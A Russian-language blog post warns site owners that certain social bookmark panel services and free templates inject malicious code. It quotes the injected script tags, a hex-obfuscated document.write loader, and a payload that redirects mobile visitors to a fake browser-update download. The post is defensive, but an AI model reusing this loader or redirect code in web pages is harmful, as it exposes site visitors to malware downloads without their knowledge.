вирусы в панелях соц.закладок

Сейчас существует много сервисов, генерирующих красивые панельки закладок для социальных сетей. Но «не все йогурты одинаково полезны» если помните такую рекламу :)

Проверьте не использовали ли вы на своих сайтах эти сервисы:

1. iknopo.ru
Вставку делают либо явно в шаблоне («бесплатные» шаблоны)

<script type="text/javascript" src="//iknopo. ru/iknopo_b. js"></script>

либо в шифрованном виде в одном из скриптов, подключенных на сайте

var _0xb69a=["\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73
\x63\x72\x69\x70\x74\x27\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x69\x6B\x6E\x6F\x70
\x6F\x2E\x72\x75\x2F\x69\x6B\x6E\x6F\x70\x6F\x5F\x62\x2E\x6A\x73\x27\x3E\x3C\x2F\x73\x63\x72\x69
\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xb69a[1]](_0xb69a[0]);

Содержимое скрипта простое:

<!--
if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone)/i)!==null){
  window.location = "//filekx. com/browser_update/u/7357/browser_update.auto";
}
//-->

Проверяется user-agent браузеров мобильных устройств и происходит редирект на указанный адрес.

2. Поддельный скрипт под сервис share42.com
Вставка встречается в «бесплатных» шаблонах для движков.

<!-- поделиться -->  
<div class="share42init"></div>
<script type="text/javascript" src="//jquery-library. ru/jl.php?share=8,9,13,15,20,21,29,39,0,7,10,14,16,24,34,35,37,38,41,42,44,45,46&size=16"></script>
<!-- поделиться end --> 

Действие скрипта аналогично предыдущему: по user-agent определяются мобильные устройства и перенаправляются на страницу рекламы, либо начинается загрузка вредоносного ПО.

Скажите свое мнение

ваш email не публикуется. обязательно *

;-) :yawn: :whew: :toivo: :tmi: :time: :thinking: :talking: :sweating: :swear: :sun: :star: :smoke: :smirk: :sleepy: :skype: :shock: :shake: :rofl: :rain: :punch: :puke: :poolparty: :pizza: :phone: :party: :oops: :nod: :no: :ninja: :neutral: :nerd: :music: :muscle: :mrgreen: :movie: :mooning: :mmm: :middlefinger: :makeup: :mail: :mad: :lol: :lipssealed: :kiss: :itwashtme: :inlove: :idea: :hi: :heidy: :heart: :headbang: :happy: :handshake: :giggle: :fubar: :flower: :evilgrin: :emo: :dull: :drunk: :drink: :doh: :devil: :dance: :cry: :cool: :coffie: :clapping: :cash: :call: :cake: :bug: :brokenheart: :bow: :blush: :beer: :bear: :bandit: :arrow: :angry: :angel: :^) :???: :?: :-| :-o :-P :-D :-) :-( :!:

 

*

code

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.